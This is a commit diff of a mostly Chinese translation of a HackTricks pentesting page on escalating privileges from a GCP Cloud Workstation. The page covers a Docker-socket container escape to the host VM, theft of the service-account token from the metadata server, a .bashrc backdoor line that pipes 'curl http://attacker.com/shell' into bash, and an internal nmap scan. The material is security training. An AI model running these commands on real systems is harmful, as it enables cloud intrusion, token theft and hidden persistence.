mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -1,18 +1,19 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Cloud Workstations 中的主要权限提升路径来源于必须支持 **Docker-in-Docker (DinD)** 的开发工作流。当 workstation 配置挂载 Docker socket 或允许 privileged containers(常见配置)时,位于 workstation 容器内的攻击者可以逃逸到底层的 Compute Engine VM 并窃取其服务帐号令牌。
|
||||
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
|
||||
|
||||
**前提条件:**
|
||||
- 访问 Cloud Workstation 终端(通过 SSH、被入侵的会话,或被盗凭证)
|
||||
- 工作站配置必须挂载 `/var/run/docker.sock` 或启用 privileged containers
|
||||
**前提条件:**
|
||||
- 访问 Cloud Workstation 终端(通过 SSH、被攻破的会话,或被盗凭证)
|
||||
- 工作站配置必须挂载 `/var/run/docker.sock` 或启用特权容器
|
||||
|
||||
**架构上下文:** 工作站是一个容器(Layer 3),运行在 GCE VM(Layer 1)上的 Docker/Containerd 运行时(Layer 2)。Docker socket 可直接访问宿主机的容器运行时。
|
||||
**架构上下文:** 工作站是一个容器(第3层),在 Docker/Containerd 运行时(第2层)上运行,位于 GCE VM(第1层)上。Docker socket 提供对宿主容器运行时的直接访问。
|
||||
|
||||
> [!NOTE]
|
||||
> 该工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的容器逃逸并将你置于宿主 VM 的 root shell。
|
||||
> 工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的容器逃逸流程,并将你置入宿主 VM 的 root shell。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -28,7 +29,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<summary>步骤 2:逃逸到主机 VM 文件系统</summary>
|
||||
|
||||
我们启动了一个特权容器,将主机的根目录挂载到 `/mnt/host`。我们还共享主机的网络和 PID 命名空间以最大化可见性。
|
||||
我们启动一个特权容器,将主机的根目录挂载到 `/mnt/host`。我们还共享主机的网络和 PID 命名空间以最大化可见性。
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,7 +39,7 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
您现在拥有 **root shell on the underlying Compute Engine VM**(第 1 层)。
|
||||
你现在有一个 **root shell on the underlying Compute Engine VM** (Layer 1)。
|
||||
|
||||
</details>
|
||||
|
||||
@@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **检查权限范围!**
|
||||
> 即使关联的 Service Account 是 **Editor**,VM 也可能被访问范围所限制。
|
||||
> 如果你看到 `https://www.googleapis.com/auth/cloud-platform`,则拥有完全访问权限。
|
||||
> 如果你只看到 `logging.write` 和 `monitoring.write`,则仅限于下面的 **Network Pivot** 和 **Persistence** 向量。
|
||||
> **Check the Scopes!**
|
||||
> 即便附加的 Service Account 是 **Editor**,VM 也可能被 access scopes 限制。
|
||||
> 如果你看到 `https://www.googleapis.com/auth/cloud-platform`,则拥有完整访问权限。
|
||||
> 如果你只看到 `logging.write` 和 `monitoring.write`,你将被限制在下面的 **Network Pivot** 和 **Persistence** 向量。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>步骤 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations 会把持久磁盘挂载到 `/home/user`。由于容器内的用户(通常为 `user`,UID 1000)与主机上的用户(UID 1000)匹配,你可以写入主机的 home 目录。这使你能够 backdoor 环境,即使 workstation container 被重建也能保留后门。
|
||||
Cloud Workstations 将一个持久磁盘挂载到 `/home/user`。因为 container user(通常为 `user`,UID 1000)与 host user(UID 1000)匹配,你可以写入主机的 home 目录。这允许你在即使 workstation container 被重建的情况下也能 backdoor 环境。
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>步骤 5: Network Pivot (Internal VPC Access)</summary>
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
由于你共享主机网络命名空间 (`--net=host`),你现在是 VPC 上的受信任节点。你可以扫描基于 IP whitelisting 允许访问的内部服务。
|
||||
由于你与主机共享网络命名空间(`--net=host`),你现在是 VPC 中的受信任节点。你可以扫描基于 IP 白名单允许访问的内部服务。
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
@@ -94,3 +95,7 @@ apk add nmap
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user